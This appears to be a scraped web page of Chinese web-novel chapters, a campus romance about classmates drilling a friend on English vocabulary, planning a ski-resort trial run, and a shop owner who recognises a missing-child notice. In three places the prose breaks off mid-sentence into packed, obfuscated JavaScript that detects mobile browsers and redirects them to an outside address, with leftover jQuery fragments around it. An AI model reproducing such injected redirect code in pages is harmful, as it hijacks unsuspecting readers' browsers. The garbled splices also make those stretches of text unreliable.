沉浸在自己的思维中,努力想着英语单词的张期期并没有注意到班级里原本“刷刷刷……”笔尖擦过作业本上的声音渐渐消失了,她的同学们不由自主地竖起耳朵听着她背着一个个英语单词。 教室走廊外笑闹着跑过一个个学生,他们隔着玻璃窗看见重点一班全班整整齐齐,依旧在教室里学习的阵仗,顿时大惊失色、大感佩服。 地暖供起的暖气配合着张期期毫无情绪波动、一板一眼的读着英语单词的声音,众人渐渐发困。 约莫半个小时后,陈恕点点头,将复习资料合上,道:“可以,过关了。” 时刻关注着这边的林听顿时转身鼓起了掌,“期期真棒。” 许兰亭、周嘉先、侯蕊等人也笑着跟着鼓起了掌,喜悦像是会传染的一样,重点一班的同学纷纷转过身来,拍桌子的拍桌子,大笑的大笑,鼓掌的鼓掌…… “真牛啊!我就说天才都是共通的,期期其他科目那么厉害,英语肯定行,我估计啊你就是太懒了!”说话的是英语课代表雷婷。 其他人纷纷附和着,一边笑着,一边收拾着各自桌面上的东西准备放假回家。 张期期被哄得一阵脸红,她没想到自己真的背下来了,那么多的英语单词、英语固定搭配等等她都背下来了…… 她站起身,眼眸中闪烁着笑意,“谢谢大家啦……下次你们就不要等我啦!我一定会老老实实背的,我张期期绝不会辜负大家的期望!” “好!期姐就是大气!” “期姐就是期姐!” “期期真的好棒啊!” “……” 一堆彩虹屁狂炫,炫得张期期眼神发亮,脸色红润,她拍了拍胸脯道:“放心,这点英语还难不倒我张期期,接下来你们就等着看吧,看我走上征服英语的道路吧。” * 冬日暖阳从天际的西边缓缓落下,橘黄色晕浓天际的一边,黑夜的暗色逐渐攀爬而上,亮与暗的界限不再分明。 校园的路灯一盏盏依次亮起,张期期、陈恕、林听、许兰亭、周嘉先几人三三两两走在校道上,冬日的寒风呼呼吹着,他们边走边瑟缩着。 张期期走在推着单车的陈恕身边,她微微侧头低声道:“我顺利背完你给的英语复习资料了,你是不是得答应我一个要求?” “嗯。我答应你一个要求。”陈恕道。 身旁的少女不再开口,陈恕眼眸一动,望过去,只见此刻的张期期一脸神游天外,却又在偷偷发笑的神情,少女眼底的笑意格外引人遐想,他顿了顿,狼狈地补上一句,“不正经的要求例外。” 张期期闻言,蓦然笑出声来,她低声凑过去道,“什么叫不正经的要求,唔……比如呢?” 少年眼神闪躲,强绷着脸,“没有比如,我也不知道。” “哦~那好吧。”她盯着陈恕的脸色故意拉长了声音道。 陈恕嘴角抿着,腾出一只手来按住张期期的脑袋,强硬地让她转过脸去。 - 张期期一吃瘪,许兰亭便哈哈大笑。 眼看着他们又要吵起来,林听一脸头疼的模样,她想了想突然道:“上次参加竞赛,我的成绩已经下来了。” 她话音一落,张期期、许兰亭纷纷一滞,转而关切地望向了她,此时的林听神色淡淡,看不出是喜是愁。 张期期又望了一眼同样参加竞赛的陈恕,斟酌几秒后,她小心翼翼道,“成绩下来了啊,那……那……” 许兰亭手肘捅了张期期一下,眼神示意她哪壶不开提哪壶啊! 他们两人的小动作,林听自然看在眼底,她心里微微发笑,也真的笑了出来,“是好消息!除了陈恕参加的化学、数学那两科,其他的科目我都是第一名,化学我是第二,数学是第三。” “哇——”张期期瞪大眼睛开心地在原地蹦了好几下,片刻后,她又目光盈盈,充满期待地看着陈恕,“那你呢?陈恕!” 陈恕嘴角微微笑着,语气平静道:“我那两科都是第一。” “哇——双喜临门!”她开心大喊道。 许兰亭望着林听眼底的忧虑渐渐散去,他嘴角扬起,无声地笑了…… 几人边走边聊着,张期期倒着边走边笑,“那奖金数额……唔……可观吗?” 林听、陈恕对视一眼,均是点头,异口同声道:“还不错!” 张期期一绷一跳地踩着自己的影子道:“真好呀!” 她几步跑到大家的前方,突然故作夸张,一脸严肃,一本正经道:“接下来请认真听我讲,我这里也有一个好消息告诉大家!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364218|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈恕、林听几人慢慢停住脚步,林听问道:“期期,是什么好消息?” 张期期绷不住笑着大声宣布道,“我们可以免费去滑雪了,还能挣钱!是一大笔钱哦~” 林听&陈恕&周嘉先:??? 张期期这才告诉他们,就在前阵子,也就是林听因为缺钱而选择参加每一科竞赛时,许兰亭听他哥说,他们许家在东北的滑雪场今年年底前会正式营业,而在正式营业之前会开放内测的资格。 内测也就是在正式开业之前召集选中一部分人员抢先体验滑雪场的服务,内测不仅是免费的,甚至还能有一笔费用给到这些人员,当然这笔费用是需要这些人员在体验完毕之后写体验感受,以及对滑雪场的服务提出改良的建议。 许兰亭:“我寻思着这份兼职,我们也能做啊,所以我就让我哥给我们留几个名额了,时间暂时还没定,反正就是在年底之前,还有这笔费用是两千块钱,来回的路费也是我哥公司给,相当于我们人到那里玩,玩了之后写份总结就可以了!” 张期期疯狂点头,“对对对,肥水不流外人田,我们一中的学生难道还搞不定一份“冬游日记”吗?” ……冬游日记? 周嘉先嘴角抽搐,还真当是小学生春游秋游后写日记了?要不是这滑雪场是兰亭家的,人家正经公司哪里会请几个高中生参与滑雪场这个大个项目的内测啊! 林听、陈恕自然也不是傻子,周嘉先能想到的他们自然也能想到。 场面顿时寂静,林听、陈恕一时无言,两人均是微微垂眸,眼底的情绪谁也无法看清。 见状,张期期、许兰亭的笑意一滞,眼底有些无措地看着他们。 “不是我说……亭哥你家到底是做什么的啊?滑雪场都有!”周嘉先笑闹着拍着许兰亭的肩膀,状似“大大咧咧”地问道。 许兰亭顿了顿,他自是知道对方是在帮忙活跃气氛,便小声道:“我家是搞房地产的。” 这下子,周嘉先是真的惊讶了,他知道许兰亭家的条件是相当好的,但没想到他家家底是真的厚啊!居然是搞房地产的! “喔——没想到我身边就有传说中上流圈子家的富家公子啊!我去,这是一人得道鸡犬升天吗?亭哥,求带带!” 一向沉稳的周嘉先居然这般搞笑幽默,几人都不由自主地笑了出来,他们一笑,气氛顿时就缓解了。 林听攥了攥手心,正色道:“期期、兰亭,谢谢你们。” 陈恕笑了笑,“冬游日记我会好好写的,争取给兰亭家的滑雪场多挑出一些毛病出来。” 周嘉先点头含笑,“没错。” 凝滞的气息再次流动起来,张期期、许兰亭提着的心终于缓缓落地,她神色认真道:“我是觉得我们真的可以。” 许兰亭狠狠点头,“反正也是要找别人体验,别人还有可能顾忌太多,不敢直言不讳,但我们不怕啊,这是我家的,我也想我家的生意好,所以有什么问题我们都能直接说,这才是真正合格的内测体验者,不是吗?” 林听看了张期期、许兰亭一眼,点头,“好,我会努力的。” 陈恕:“嗯。我也是。” 周嘉先蓦然一笑,“亭哥这还是给自己家省了两千块呢。要不是我们……他都不会去参加内测!” 许兰亭:…… 他故意拉长声音道,“是——托了你们的福,省了两千块。” 橘黄色的霞光完全消散在天边,天幕忽地暗沉下来,城市的灯光缓缓点缀而上,少年少女们的笑意吹散在寒风中…… 65. 第 65 章 - 将滑雪的计划说完之后,张期期旋身又走回到陈恕的身边,她鼻尖微微耸动,小声道:“陈恕,刚刚我想着你要是不乐意去的话,那我就用上你答应我一个要求的承诺了。” 陈恕侧首看她一眼,又收回视线,“那你再想想想要我答应你什么要求。” 少女眉眼弯弯,笑着道:“我暂时还想不出来,嗯……留着吧……”她说着说着,突然双眼一瞪,“等等,你这个承诺该不会有期限吧?” 陈恕微垂下眼帘,遮住眼底的笑意,他淡淡道:“不会,我的承诺永远没有期限,什么时候你想起来要求了,告诉我就行。” “那好。就这么说定了。” “好。” - 张期期、陈恕、周嘉先三人在校门口分开,各自回家。许家的司机将林听的自行车放在后备箱上,林听、许兰亭坐上了汽车的后排座位。 车子启动,路灯在窗外呼啸而过,车内暖气发出持续、微弱的呼呼声。 隔着几十厘米的距离,少年坐立不安,右手放在膝盖上一抓一握着。 林听指尖轻轻触在耳朵上的耳机,她微垂着眸,余光看着一旁少年骨节分明的手,片刻后,她抿了抿唇,将耳机拿下来,轻声道:“滑雪的事情谢谢你,兰亭。” “真、真不用谢,小事而、已。”许兰亭咽了咽,卡着嗓子道。 话一说完,他心底满是懊恼,他家的汽车前排和后排之间是有隔断的,一到了他和林听两人独自相处的环境里,他总是难以避免地非常紧张,有时候说了什么,他自己都不太确定,属于是嘴跟不上脑子的程度。 而到了夜间,他躺在床上的时候却会来来回回、反反复复地回忆、品味着今天两人说过的话,相处的那一幕。 林听微微笑了笑,而在看向他依旧还吊着的胳膊时,又皱了皱眉头,“兰亭,你的手臂还不能拆石膏吗?” 许兰亭摸了摸后脑勺,呵呵笑道:“快了快了,已经一个多月了,年底之前应该就差不多了,到时候我们可以一起去滑雪的。” “好。”林听轻声道,“我们一起去滑雪。” 少年闻言,方才的局促不安都消散无踪,他的眼底闪烁着喜悦的光芒。 车子开到何榕大道的尽头便进不去了,许家的司机将林听的自行车搬下来,林听笑着道了一声:“谢谢叔叔。” 她骑上自行车,转头朝站在车子旁的许兰亭挥了挥手,“我走了,你们路上小心,拜拜。” “拜拜……” 过了几分钟,许兰亭晃晃悠悠地走到巷子的入口处,他看见那间属于林听的房间亮起了灯,这才慢悠悠地往回走、上车,“叔,我们回去了。” - 许兰亭推开家门,在玄关处换了鞋,他单肩拎着书包走到客厅的沙发处,将书包随手一扔,就躺在沙发上,接着将脚夹在了茶几上。 十、九、八…… 三、二、一…… 他在心里默念着,数着数,果不其然,数到最后一秒时,他哥出现了。 “回来了?”许敬亭穿着棉质的灰色家居服,神色懒懒地倚靠在客厅的拐角处。 “回来了。”许兰亭双手交叠着架在茶几上,拿着手机指尖翻动。 许敬亭嗤笑一声,走到客厅的沙发坐下,“把你的脚放下来,这地儿你哥我有时候办公呢,你架着脚,像样子吗?” 许兰亭顿了顿,乖顺地将脚放下来,片刻后,他突然凑近他哥,神神秘秘道:“哥,你真的不考虑考虑提高我们那笔费用吗?两千块钱……嗯……” 他摇了摇头,“还是太少了,哥你不会这么小气的对不对。” 闻言,许敬亭简直气笑了,他哐当一下子将手中的玻璃水杯放在茶几上,双手抱胸,整个人往后靠在沙发上,“来回路费都给你们免了,包吃包住,免费玩,还有两千块钱的兼职费用,这还不够?你哥我是个商人,不是慈善家。” “哦,不。这一次你哥我还真就是慈善家了。你也不想想,这么大项目的内测,公司正常来说都是找一些在网络平台上粉丝量庞大的游玩主播来内测,也正好是一个宣传,他们的费用高是高,但是物有所值。” 许敬亭看了一眼自家傻弟弟,摇了摇头道:“但、你们几个高中生……要不是靠我的关系,怎么可能有内测的资格。” 许兰亭默不作声,甩掉拖鞋,盘腿窝在沙发上刷着手机,一脸不开心的模样。 许敬亭一看,内心幽幽地叹了一口气,他拿起茶几上的玻璃杯喝了口水,缓和语气道:“兰亭……你想想你那些朋友,他们都是敏感自尊又心思细腻的好孩子,两千块钱正好,多了的话那就明摆着是给人送钱了,你说他们能不意识到这一点吗?他们又能心安理得地接下这个兼职吗?” 他看着这个和自己长得非常相像,神情却又充满稚气的弟弟,有时候他都怀疑自己是不是把弟弟养得太天真了。 对待朋友,兰亭一腔热情,自然是什么好的都想塞给朋友,但有时候他却没能意识到他想给的却不一定是朋友能够毫无负担地接受得起的,或者是他的热情其实会伤到朋友那敏感的心…… 许兰亭刷着手机页面的指尖顿住,许敬亭好整以暇地等着弟弟想明白…… 好半响,少年斜着眼瞥了许敬亭一眼,瓮声瓮气,“哥,对不起啊!” 许敬亭笑了笑,站起身揉了揉对方的脑袋,“说这些做什么……我是你哥。” * 事实证明,张期期的“豪言壮语”到底还是说早了,才过了一个星期,她就熬不住了。 今早,张期期上课是堪堪踩着铃声进教室门的,而早读课又是语文课,所以她成功地躲过了早上到早自习下课的这段时间。 一到下课,她溜得飞快,往往下课铃声还没响完,她就不见了踪影,当天给她补习的雷婷简直哪哪都找不到她。 放学时间同样如此,张期期甚至撇下了陈恕、林听、许兰亭等人自行回家,校道上,她双腿跑得幻影一般地飞奔出了校门,跳上了车子。 “李叔,快开,回家回家!” 李临丈二摸不着头脑,以为她是有什么急事,便马力十足加速开车…… - 另一边,重点一班的同学正在开会,侯蕊气得将书本狠狠拍在桌面上,她冷笑一声,“跑得了和尚跑不了庙……学校在这呢,她还能往哪里去。明天一定逮住她。” 雷婷皱了皱眉头,“可是她今天的操作,我还真逮不住她。” 王思、蒋文等人也点点头,众人一筹莫展。 许兰亭突然嘿嘿嘿笑了一下,众人闻声望过来,他眉眼一挑,目光停在陈恕身上,“难道你们忘记期期是个颜狗了吗?嘿,山人自有妙计。” …… 等听完许兰亭的计划之后,他们纷纷若有所思地点了点头,“诶,我觉得可以耶,这计划不错。” “我也这么觉得,那明天我们就先不要出现了吧,免得引起她的疑心。” “好的,就这么说定了。” “……” - 为了这出戏,许兰亭甚至提供友情赞助,陈恕看着手里的全套西装和皮鞋,他神色复杂,你们征求过我的同意了吗? 他真是疯了吧,才和这群人搞这一出! 陈恕拒绝:“兰亭,这衣服太夸张了,我不穿。” 许兰亭恨铁不成钢,“就是要夸张才帅啊!”他神秘兮兮继续道,“期期没见过你穿西装,兄弟,难道你不想让期期对你惊鸿一瞥吗?” 陈恕:…… “我骑着单车,穿着西装、踩着皮鞋来学校上课?你觉得这适合惊鸿一瞥吗?” 许兰亭闻言,脑补了以前和张期期刷过的霸总电视剧《王子变青蛙》里明道出场的那一幕,那首出场bgm回响在他的脑海里。 他侧首再看了一眼陈恕身旁的自行车,当即用力地拍了一下自己的大腿,遗憾道:“哎!我真是没本事!我应该给兄弟你配一辆豪车的,是我的不是了,兄弟你海涵一下啊!” 没有驾驶证的高中生陈恕:…… “总之,你就委屈一下,穿吧。我保证你这身衣服穿上去,期期绝对跑不了。”许兰亭一锤定音道。 夜色昏沉,他施施然地上了汽车走了,独留陈恕抿着唇望着手里拎着的衣服。 * 翌日。 陈恕做了好一番心理建设才穿上了那套西装,出门的时候他又往身上穿了件黑色的长款羽绒服。 他骑着自行车行驶在自行车车道上时,身后突然有人喊他的名字,“陈恕。陈恕!” 陈恕一顿,刹车放慢速度至慢慢停下来,他脚撑着地回头望过去,是吊着胳膊的许兰亭,对方刚从汽车上下来,一转眼的功夫就跑到他得身旁。 许兰亭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13381797|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下打量了陈恕一眼,恨铁不成钢道,“你穿着羽绒服,张期期怎么看得见你里面的西装!快!脱下来脱下来!” 陈恕满眼不可思议,眼底好像在说,你是不是疯了…… 他噎了片刻,抿了抿唇后道:“今天气温五度。” 许兰亭一脸着急,“五度就五度呗。快点,脱下来,期期应该快到了。”他家的汽车不久前就超了张期期家的车,开到了前面。 他边说着边上手,陈恕抿了抿唇,只能顺着他的势将羽绒服脱下来。 “到教室我再还给你。”许兰亭抱着他的衣服一溜儿跑回了自家汽车上,他隔着车窗,对着陈恕喊道:“加油!坚持坚持!” 陈恕:…… 许家的汽车开走几分钟后,陈恕踩着自行车到了学校门口,身后再一次有人喊他的名字,只不过这一次对方语气里的惊讶,他不回头都能想象到她脸上惊愕的表情。 “陈恕!真是你啊!” “陈恕,你怎么……” 陈恕头皮一阵发麻,他顶着寒冷的风,用力地攥着自行车车把手的位置,身后惊讶的喊声一阵阵传过来,他差点儿就想遁了。 压制住内心想遁地的心思,陈恕硬着头皮停下自行车,一语不发。 这时,身后的张期期一下子蹦到他的身边,眼神发亮地盯着他看,少年精致的眉眼、被寒风吹得稍显凌乱的发梢倒映在她的眼底。 她眼眸微转,视线下移到他身上的西装,皮鞋,脸上的笑容绽放,整个人显得非常热切,“陈恕!你穿这衣服真好看!” 她甚至竖起了大拇指,狠狠点头,这会儿她瞬间忘记问陈恕为什么穿着这么正式的衣服到学校…… 陈恕看都不敢看她的眼睛,只微微盯着她斜方的地面上,他下颌紧绷,转移话题道:“上来吗?我载你。” 张期期闻言,眼神闪烁了片刻,她探头环顾四周,并没有发现有重点一班的同学,又看了看眼前眉眼精致,气质内敛的少年,“好。” 她跳上他的自行车后座,双手轻轻捏住他的衣摆,灰粉色的座垫柔软,骑过学校校道上的减速带时,张期期都不觉得硌屁股。 凛冽的寒风吹过发梢,少女伸手将发丝别到耳后。 - 不远处,花坛后方蹲着的学生探出头瞄了俊男美女一眼,随机低头在手机页面猛戳,「03、21,目标即将出现在停车棚,请尽快过去,请尽快赶过去。」 此时埋伏在停车棚附近学号为21的女同学低头看了眼手机,随机发过去一句语音,“21收到21收到!” 同样在停车棚附近的男同学自然也在群里看到了这条信息,“16、34请求支援21.” 坐在重点一班教室学号为16的侯蕊看了一眼,发过去道:“16批准!” “好的,34收到。” 没过一会儿,又有几位学生请求同去停车棚逮人,侯蕊全部同意了。 林听看着对方笑得跟反派角色似的样子,强忍着笑意低下了头。 一门子心思准备逮张期期的重点一班同学都没有注意到,他们身旁走过的其他班同学纷纷眼神充满疑惑,这……重点一班的学生是不是学习压力太大了,都疯了?搞的什么“谍战片”啊!他们都有病吗? - 到了校内停车棚,张期期跳下后座的下一刻,就被埋伏在这里的重点一班的同学们给当场逮住了。 她大惊失色,随后双手都被班里的几个女同学牢牢抱住,几个男同学双手抱胸冷哼一声地盯着她看,仿佛在说,看你往哪里跑? 张期期震惊、破防,她不可置信地看向陈恕,方才被美色冲昏头脑继而遗忘的问题突然想起来了,但也不需要问了…… 他为什么穿成这样?为什么?还能是什么原因!! 她瞪大双眼,“陈恕!你居然坑我!对我使用美男计!” 陈恕猛地被呛到般,拼命咳嗽起来…… 他咳得眼尾发红,看着刚说完话的张期期被身旁的女生一二三给拉走了,几个男生前前后后走在她的身边,仿佛押送犯人一样走在校道上。 张期期饱含怨念的喊叫声徘徊在校道上,“我不学!我不学!我真的不学!你们放过我吧!求求你们了……放过我吧!” 路过的同学:……我就说他们班的同学肯定疯了,不然整这死出干嘛! ……啧啧啧,又疯一个。 66. 第 66 章 - 张期期又痛苦地背了一天的英语资料,她一脸生无可恋,下巴垫在课桌上,嘴上喃喃念着英文。 陈恕从教室外走进来,将打好温水的水杯放在她桌面的角落处,他低声问,“背得怎么样?” 张期期眼珠子往上转了转,哼了一声,她坐起身拿着资料一个侧身背对着他,就是不回答陈恕的问题。 陈恕浑身一滞,指尖微微颤抖了一瞬,从早上到现在快要放学了,她至今一句话都不和他说。 懊恼、后悔席卷他的心头,他试探着伸出手想要碰一碰她的肩膀,想要她转过身来和她说句话,哪怕是骂他。 指尖离她的肩膀只有微微几厘米的距离,他却始终不敢触碰,少年默默收回手,低声道:“期期……”他的呼喊近乎掩在喉咙间。 然,张期期的肩膀却微微一动,少女一滞,心头似有所觉。她嘟了嘟嘴,一副不乐意的样子,但还是转过身来。 ……晾了他一天了,下节课就放学了。 少女心底有些埋怨,她生气归生气,但她一向不喜欢将事情过夜的。 张期期当着陈恕的面,气鼓鼓地,大声哼了一下。 陈恕见她转过身来的喜悦还未发酵,心情便再一次跌落谷底,他抿了抿唇,“期期……” “你把你的椅子搬过来。”张期期道。 陈恕一顿,随即将椅子搬到她的身边。 “嗯!坐下吧!”她又道。 陈恕抿唇,内心忐忑地坐下。 此时的两人均未意识到他们之间原本身为追逐者的一方如今已经成为了他们之间的主导者。 这会儿气氛沉滞,张期期闭了闭眼后睁开,认真地看着陈恕道:“你以后不能坑我!不能骗我!你和……你和他们不一样。我很在乎你的行为和想法的。” 话语如此直白,陈恕顿时羞燥得坐立不安起来,他手指微微颤抖,垂眸点头,“好。” 张期期这才笑颜绽放,“你答应了啊。” “嗯。”他答应了。 事情揭过,张期期又趴在了课桌上,下巴再次垫在手臂上,看着英语复习资料唉声叹气,她道:“这些资料全部都是你整理的吧?” 陈恕微微点头,“嗯。” “你什么时候整理的啊?这工作量也太大了吧!” 什么时候整理的……陈恕陷入沉思,好像是第一次知道她英语不好的时候,他就陆陆续续地整理了这些,当时他自己也没有追根究底地去思考什么,只是想到就做了而已,他也没想到现在的她阴差阳错地也用上了…… 陈恕刚想回答的时候,上课铃声响了起来,他微微笑了笑,起身挪了挪椅子,淡声道,“上课吧。” 此次之后,重点一班又梅开二度地使用了“美人计”,而事实证明张期期真的是个十足十的颜控,哪怕她知道班里的同学“埋伏”她,她仍旧控制不住自己的腿走向全副打扮、明艳媚丽的侯蕊。 重点一班的同学再一次上演了一场“谍战片”,作为重点班的小透明顾佳熹此时正摸着墙根躲躲闪闪地走着,她在群里发出张期期的位置时,嘴角忍不住上扬。 她以往的学生时代总是平淡无味的,但这一刻她的青春好像突然轰轰烈烈了起来,她想,很多年以后,她再回忆起这件事的时候,大概也会因为这一刻的波澜而充满怀念吧,好像她的青春也有了小说中的年少肆意。 — 许是这两次过后,张期期终于妥协了,认命地被班上的同学轮流压着背英文。 一眨眼便过了一个半月,期末考正式到来。 京照一中作为重点高中,这一次的全省统考自然也是考场之一,期末考前三天一中放了两天的假期用来布置考场,校门口拉起了警戒线和横幅。 张扬站在讲台上一遍遍地嘱咐着,“这一次考试的模式全部是按照高考来的,你们带进考场的袋子必须是透明的,2b铅笔、尺子、黑色水笔,还有准考证、身份证、学生证三证都记得带!” “拿到答题卡先写名字、学校、考号,选择题写一个涂一个,往年都有学生涂串行的,都给我睁大眼睛看清楚。” “时间点也要记住,考试前十五分钟必须保证你们已经在教室门口了,听到没有!” 重点一班稀稀拉拉地响起了“听到了——” 毫无气势,张扬顿时一噎,顿了片刻他挥了挥手,“行了行了,放学了!都回家吧!这两天也要好好复习,危险的事情不要做。” 他说着,目光准确地落在了许兰亭的身上,“特别是你,许兰亭!” 许兰亭尴尬地笑了笑,“知道了老师。”他动了动已经拆开石膏的左手。 张扬冷哼一声后才拿上东西走出教室,他刚走出教室,班级里的同学们纷纷转过身来,眼神意味深长地看着张期期。 正在收拾东西的张期期蓦然一顿,她偷偷抬眸,果然是大家,她瞬间又垂下眼帘。 关宇笑哈哈做出打气状,举着拳头喊道:“期姐,加油!全省十名以内不是问题!” “对!期姐牛逼!” “期姐最棒!” “……” 彩虹屁一个接一个,张期期脸都红了,她抡起书包拔腿就跑,身后隐隐约约还传来一阵又一阵的“加油声”。一直跑到教学楼一楼门口时,张期期才靠着墙松了口气。 她等了几分钟,陈恕、许兰亭、林听和周嘉先结伴着下楼走到了张期期的面前,许兰亭笑着道:“期姐一呼百应啊!” 张期期白了他一眼,小声道:“都不知道他们到底怎么了,一个个对我无脑吹。” “也不是无脑吹,期期明明就很优秀。”林听微笑着道。 陈恕抿唇,微不可见地点头附和。 张期期眼眸浸满笑意,伸手挽住林听的肩膀,她笑着道:“我怀疑你们看我肯定是带了滤镜……” …… 冬日的风日复一日的寒冷,白气从他们的嘴里呼出,冷风一吹就散了,少年少女们或嬉笑打闹,或沉默微笑着走在校道上。 路灯一盏盏点亮了起来,天空中飘飘扬扬地洒下细碎的雪白。 张期期伸手接住雪花,她笑道:“下雪啦……” 她的笑容在冬日路灯下显得格外的温暖,陈恕抿唇微笑,嗯,下雪了…… * 两天的全省统考一晃而过,最后一门英语考试的结束铃声响起时,张期期堪堪写完了英语作文。 “时间到了,都停笔。” 等到监考老师清点完试卷和答题卡之后,张期期第一个走出了教室,她和陈恕、林听几人的考场教室都在同一栋楼,因此她站在了一楼门口处等到了他们。 许兰亭咬着透明袋子,双手张开地跑了过去,脸上洋溢着欢乐。 张期期一个退后闪到了陈恕的身后,“你干嘛?” 与此同时,陈恕皱着眉头挥开许兰亭的手。 “高兴嘛!放假了,放假了!”许兰亭拿下嘴里咬着的袋子,恨不得仰天大笑。 他双手张开,拥抱不到张期期,他状似要拥抱其他人,猛然转身之后,却恰好对上了嘴唇微微扬起的林听。 少年嘴角肆意的笑容顿时凝滞下来,他收回手摸了摸后脑勺,心底有些羞燥,这一刻大大咧咧的男孩显得小心翼翼起来。 为了掩饰心中的忐忑,他急忙扯了一个话题,“对了对了,你们寒假有什么打算?” 张期期思索了片刻,道:“上绘画培训班咯。” 陈恕、林听都暂时没有开口,周嘉先便道:“你那个滑雪内测的时间出来没有,我得看着时间再去安排其他的事。” “哦对!”许兰亭伸手拍了一下额心,道:“差点忘了,时间出来了,就是下周的周三、周四、周五。周三那天出发,说到这个,你们几人的身份证号码现在给我,我哥他们公司给统一买高铁票和保险,我们坐4个小时的高铁应该就到了。” 众人点点头,分别将自己的身份证号码报给了许兰亭。 许兰亭:“到时候具体几点出发,我会提前和你们说的。” 几人点点头,陈恕顿了顿,片刻后道:“我没有……没有手机,你到时候把车票信息发给这个手机号码吧。”他将山地车专卖店店老板的手机号码报给了许兰亭。 “行。我知道了。” 此时,天色灰沉,寒风吹着,但整个校园内却充满学生们的欢声笑语、穿着各式各样高中校服的学生一茬一茬地往外边走边聊天…… - 陈恕和张期期、许兰亭、林听、周嘉先几人告别之后,便骑着单车往山地车专卖店而去,今天晚上他要值晚班。 到了店内,他将书包放在后仓后,又从书包里拿出昨夜买的临过期的面包吃着,三两口吃下后,他喝了几口水便起身走出去。 店老板站在前台睨了他一眼,“晚饭又吃过期的面包?” 陈恕神色平静,淡淡道:“没过期,今天还没结束,还有几个小时的保质期。”他垂眸开始收拾店内乱七八糟摆放着的山地车和山地车零件。 店老板:…… 等将店内收拾摆放好,陈恕才走向前台,他抿了抿唇,“老板,下个月的排班表还没排吧,2月3、4、5号我想调休。” 下周三、四、五刚好是下个月的3、4、5号。 店老板盯着他看了一眼,再看了看格外整洁的店内,他冷哼一声,挥挥手,“行吧行吧,其他人都没说,那我就安排你那几天休息。” “谢谢。”陈恕点头道谢,却依然还站在原地。 店老板抬眸:? “还有事?” 陈恕这才将他把他的手机号码报给许兰亭的这件事告诉了对方,“到时候麻烦老板您看到车票信息后和我说一声,行吗?谢谢老板!” 店老板:…… “你都先斩后奏了,还问我行不行。”他瞪了陈恕一眼,又狐疑道:“车票信息?出去玩啊?” ……这小子又穷又抠的,还会跑那么远去玩? 陈恕无意和对方解释太多,便随意地点点头。 店老板却是难得地笑了笑,“年轻人出去玩玩也挺好,行了,到时候车票信息我会告诉你的。” “谢谢老板。”陈恕说完又返回去整理后仓了。 - 晚上八点多,陈恕接待完几个买车的客人之后,很长一段时间都没有顾客前来。 时间将近十点钟,店门外那一条街道安安静静的,他才站在前台不熟练地点开电脑页面,上面是周嘉先之前告诉他的免费寻人的网站页面。 他的指尖在鼠标上微微转动着,浏览着信息。 这时,店门口的感应系统突然响了起来——“欢迎光临”,沉浸在网页中的陈恕猛然抬头,见是一家三口进来,已经走到了店内最贵的山地车前。 他迅速走过去,连电脑的页面都忘了关。 一旁半躺在躺椅上悠闲悠闲地刷着手机的店老板吸了吸鼻子,嘟囊道,“好像着凉了……” 他起身往前台走去,伸手准备拿前台上的纸巾时,目光无意识地落在了电脑页面上,那硕大的几个“寻人网站”的字体跃然眼底。 店老板看了不远处正和那一家三口讲话的陈恕,鬼使神差地,他伸手滑动着鼠标,页面一滑,便看到个人中心陈恕写下的“寻人启事”。 陈最……十一年前,五岁时走丢……店老板喃喃小声道…… 他越看越皱起眉头,关于走丢的详情,他怎么越看越眼熟呢! 蓦然,店老板顿时瞪大双眼,陈恕……陈最……这两个名字掩埋在他记忆中十几年了,他这时骤然想起来。 店老板猛地拉出前台柜子,抄起里面的钥匙,忙不迭地跑出了店里。 陈恕闻声回头,却只看到店老板一晃而过的身影,他皱了皱眉头,什么事……老板这么着急? 思绪仅是在脑海中一晃而过,他便继续接待着眼前的一家三口,继续为他们讲解山地车的一些数据。 而另一边,店老板在安静的街道上狂奔着,一路上只剩他的脚步声、急促的呼吸声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396548|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响着,山地车专卖店和他家隔得并不远。 七八分钟后,他跑到了家门口,将钥匙插入门锁后开门,他猛地推开家门,玄关处的灯光按键被他全部打开,白织灯明晃晃地照耀着整间屋子。 “那张照片呢?在哪呢?” “我记得明明放在这个柜子里的啊?怎么不见了?” “……” 他翻箱倒柜地找着,一边絮絮叨叨着。 - 正在卧室睡觉的方燕听到客厅里的响声后,她合上睡衣皱着眉头走出来,看着对方翻箱倒柜,一副要将家里拆了的样子,她顿时出声问道,“老公,你在干什么?都把我吵醒了!” 店老板闻声一滞,他懊恼地拍了拍额头,“对不起啊媳妇,我太着急了,一不小心……” “到底怎么了?”方燕皱着眉头。 店老板盯着自己媳妇看了片刻,用力拍了自己的大腿一下,“哎呀,我怎么忘记了……媳妇媳妇,你还记得陈岩那畜生的孩子叫什么吗?” 